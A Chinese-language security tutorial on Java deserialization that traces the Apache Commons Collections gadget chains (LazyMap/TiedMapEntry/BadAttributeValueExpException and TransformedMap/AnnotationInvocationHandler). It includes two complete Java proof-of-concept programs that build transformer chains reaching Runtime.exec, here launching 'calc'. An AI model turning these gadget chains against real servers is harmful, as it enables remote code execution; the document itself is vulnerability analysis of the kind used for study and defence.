Java安全之反序列化(二)--CommonsCollections
最经典的反序列化漏洞--CommonsCollections:
先从最经典的Apache Commons Collections分析,该漏洞直接影响了WebLogic,WebSphere,JBoss,Jenkins等一系列大型框架。
该漏洞的出现的根源在Commons Collections组件中对于集合的操作存在可以进行反射调用的方法,并且该方法在相关对象反序列化时并未进行任何校验,问题函数主要出现在org.apache.commons.collections.Transformer接口上,该接口值定义了一个transform方法,该方法的作用是给定一个Object对象经过转换后同时也返回一个Object对象。
Transformer接口有一个叫InvokerTransformer的实现类,invoke一词在java里面意味着反射调用,在代码审计时尤其要注意,因此跟进一下这个InvokerTransformer实现类
我们可以看见这个InvokerTransformer类还实现了Serializable接口,意味着该类是可序列化的。并且通过注释我们知道,该类是通过反射创建新对象实例的转换器实现。
我们可以看见该类重写的transform方法中采用了反射的方法进行函数调用,input对象为要进行反射调用方法的对象,iMethodName,iParamTypes,iArgs为构造该类时传入的参数,分别是要调用的方法名称和对应的方法参数,我们回看该类构造器发现这这三个参数均为可控参数。
那么现在核心的问题就是寻找哪些类调用了Transformer接口中的transform方法,通过寻找发现有两个类会调用该方法:
1.LazyMap的get()方法会调用到transform方法。LazyMap是一个Map的实现,主要利用工厂设计模式,在用户get一个不存在的key的时候执行一个方法来生成Key值。
我们可以看到,调用transform方法之前会先判断当前Map中是否存在key,如果不存在才会调用factory.transform方法,我们继续跟一下做个factory变量,发现是由decorate方法进行初始化的,并且返回一个LazyMap实例。
所以说现在漏洞利用的核心条件就是去寻找一个类,在对象进行反序列化时会调用我们精心构造对象的get(Object)方法。
现在重点现在转移到sun.reflect.annotation.AnnotationInvocationHandler类上,跟一下这个类的readObject方法,毕竟readObject方法是反序列化的基础。
memberValues对象是AnnotationInvocationHandler类的构造器初始化的,也就是我们传入的LazyMap对象,只需要找到一个memberValues.get(Object)的方法即可触发该漏洞,可惜的是该readObject方法里面并没有调用get()。但是我们往上翻一翻就能看见AnnotationInvocationHandler类的invoke方法调用了get()方法。
因此我们需要借用动态代理机制来触发这个invoke()函数,AnnotationInvocationHandler类默认实现了InvocationHandler接口,在调用Proxy.newInstance()方法生成动态代理后,被动态代理的对象调用任意方法都会通过对应的InvocationHandler的invoke方法触发。到这里,整个利用链已经梳理清楚了,看一下网上前辈们做的POC。
接下来我们来看一下另一种利用链。复现失败的话要去设置一下jdk版本。
从上一条利用链我们知道需要找到调用LazyMap.get()方法的类,除了上面的AnnotationInvocationHandler以外,还有一个TiedMapEntry类的getValue()也调用了get()方法。
这个map对象是我们初始化TiedMapEntry时传入构造器的参数,然后TiedMapEntry类的toString()方法又调用了这个getValue()方法。
toString()方法会在字符串拼接或者将类转为字符串的时候调用,因此需要寻找到将该类当字符串处理的类。我们来看看BadAttributeValueExpException的readObject方法。
我们可以看到在第三个分支中调用了valObj.toString方法,而valObj是从传过来的对象流中读取的val属性(通过readFields方法读取,这部分属于反射的知识),因此我们控制BadAttributeValueExpException的val属性为我们构造的TiedMapEntry对象即可。
package fanxuliehua; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.File; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.HashMap; import java.util.Map; import javax.management.BadAttributeValueExpException; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; public class Main { public static void main(String[] args) throws Exception{ Transformer[] transformers_exec = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; Transformer chain = new ChainedTransformer(transformers_exec); //ChainedTransformer为链式的Transformer实现类,会改个执行数组中的Transformer HashMap innerMap = new HashMap(); innerMap.put("key","xiaogui");//随便填充点数据 Map lazyMap = LazyMap.decorate(innerMap,chain);//初始化LazyMap // 将lazyMap封装到TiedMapEntry中 TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "val"); // 通过反射给badAttributeValueExpException的val属性赋值 BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); Field val = badAttributeValueExpException.getClass().getDeclaredField("val"); val.setAccessible(true);//这里要设置通过反射获得的类其属性可修改 val.set(badAttributeValueExpException, tiedMapEntry); // 序列化 ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(badAttributeValueExpException); oos.flush(); oos.close(); // 本地模拟反序列化 ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray()); ObjectInputStream ois = new ObjectInputStream(bais); Object obj = (Object) ois.readObject(); } }
2.TransformedMap的checkSetValue()方法也调用了Transformer接口中的transform方法,我们来分析分析,代码如下。
可以看到MapEntry类的setValue方法调用了checkSetValue方法,这里MapEntry的代码我是在网上找的别人的,因为版本问题,现在这个类已经改成接口了,找了半天没找到实现类代码位置。
然后在AnnotationInvocationHandler这个类的readObject方法中恰好又调用了setValue方法,因此也不需要使用动态代理了。
构造的POC如下,因为版本问题,这个反序列化漏洞已经没法复现了
不过手动调用Entry的setValue方法还能看见这个反序列化漏洞的影子
package fanxuliehua; import java.util.HashMap; import java.util.Map; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; public class Main { public static void main(String[] args) throws Exception{ Transformer[] transformers_exec = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; Map map=new HashMap(); map.put("key","xiaogui"); Transformer transformer=new ChainedTransformer(transformers_exec); Map<String,Object> transformedMap=TransformedMap.decorate(map, null, transformer); for(Map.Entry<String, Object> entry:transformedMap.entrySet()) { entry.setValue("小鬼");//手动调用setValue方法 } } }
到这里CommonsCollections的反序列化漏洞的两条主流的利用链就分析完了,理解过后有助于接下来分析其他的Java安全漏洞。